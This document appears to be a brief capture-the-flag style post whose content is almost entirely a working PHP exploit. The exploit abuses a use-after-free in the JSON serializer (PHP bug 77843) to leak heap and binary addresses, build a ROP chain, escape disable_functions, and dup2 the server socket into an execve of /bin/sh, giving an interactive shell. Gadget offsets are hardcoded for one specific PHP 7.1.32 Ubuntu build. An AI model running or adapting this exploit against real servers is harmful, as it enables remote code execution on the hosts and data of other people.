TL;DR: Exploiting a [use after free with json
serializer](https://bugs.php.net/bug.php?id=77843) to bypass disable_functions
and pop an interactive shell.

```  
server fd  
define('POP_RDI', 0xd14eb);  
define('POP_RSI', 0xd157f);  
define('POP_RDX', 0xd5033);  
define('POP_RCX', 0xff87a);  
define('SYSCALL_PLT', 0xcf800);  
define('BIN_SH', 0x33bb9e);  
define('STACK_PIVOT', 0xd1577); # push rdi ; ... ; pop rsp ; pop r13 ; pop r14
; ret  
define('ZEND_OBJECTS_DESTROY_OBJECT', 0x2952d0);

class MySplFixedArray extends SplFixedArray { }

class Z implements JsonSerializable {  
public function rebase($addr) {  
global $pie;  
return $pie + $addr;  
}

public function write(&$str, $p, $v, $n = 8) {  
$i = 0;  
for($i = 0; $i < $n; $i++) {  
$str[$p + $i] = chr($v & 0xff);  
$v >>= 8;  
}  
}

public function str2ptr(&$str, $p, $s=8) {  
$address = 0;  
for($j = $s-1; $j >= 0; $j--) {  
$address <<= 8;  
$address |= ord($str[$p+$j]);  
}  
return $address;  
}

public function ptr2str($ptr, $m=8) {  
$out = "";  
for ($i=0; $i < $m; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}

public function rop($addr) {  
global $ctr;  
# rop starts at abc + 0x1010  
$this->write($this->abc, 0x1010 + $ctr * 8, $addr);  
$ctr += 1;

}

public function syscall($syscall_no, $rdi=0, $rsi=0, $rdx=0) {  
$this->rop($this->rebase(POP_RDI));  
$this->rop($syscall_no);  
$this->rop($this->rebase(POP_RSI));  
$this->rop($rdi);  
$this->rop($this->rebase(POP_RDX));  
$this->rop($rsi);  
$this->rop($this->rebase(POP_RCX));  
$this->rop($rdx);  
$this->rop($this->rebase(SYSCALL_PLT));  
}

public function jsonSerialize() {  
global $y, $pie, $ctr;

$contiguous = [];  
for($i=0; $i < 10; $i++)  
$contiguous[] = new DateInterval('PT1S');  
$room = [];  
for($i=0; $i < 10;$i++)  
$room[] = new Z();  
$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);  
$p = new DateInterval('PT1S');

unset($y[0]);  
unset($p);  
$protector = ".$_protector";

$x = new DateInterval('PT1S');  
$x->d = 0x2000; # $this->abc is now of size 0x2000  
  
$spl1 = new MySplFixedArray();  
$spl2 = new MySplFixedArray();

# some leaks  
$class_entry = $this->str2ptr($this->abc, 0x120);  
$handlers = $this->str2ptr($this->abc, 0x128);  
$php_heap = $this->str2ptr($this->abc, 0x1a8);  
$abc_addr = $php_heap - 0x218;

# pie leak  
$fake_obj = $abc_addr + 0x60;  
$this->write($this->abc, 0x60, 2);  
$this->write($this->abc, 0x68, $handlers - 0x10);  
$this->write($this->abc, 0x120, $fake_obj);  
$pie = $this->str2ptr(get_class($spl1), 8) - ZEND_OBJECTS_DESTROY_OBJECT;

# write rop  
$this->syscall(33, SOCK_FD, 1); # dup2  
$this->syscall(33, SOCK_FD, 0); # dup2  
$this->syscall(59, $this->rebase(BIN_SH)); # execve  
$this->syscall(60, 0); # exit

# overwrite next chunk forward pointer  
$this->write($this->abc, 0x1a8, $class_entry + 0x20);

# allocate some strings  
$x = str_repeat("X", 69);  
$y = str_repeat("Y", 69);  
$z = str_repeat("Z", 69);

# $z is now at $class_entry + 0x20  
# restore a pointer to some writable addr  
$this->write($z, 0, $abc_addr);

# overwrite a function destructor  
$this->write($z, 0x18, $abc_addr + 0x1000); # -> rdi  
$this->write($z, 0x38, $this->rebase(STACK_PIVOT)); # -> rip

exit();  
}  
}

if(php_sapi_name() != 'apache2handler' ||  
phpversion() != '7.1.32-1+ubuntu16.04.1+deb.sury.org+1') {  
die('Wrong setup.');  
}

global $y;  
$y = [new Z()];  
json_encode([0 => &$y]);

```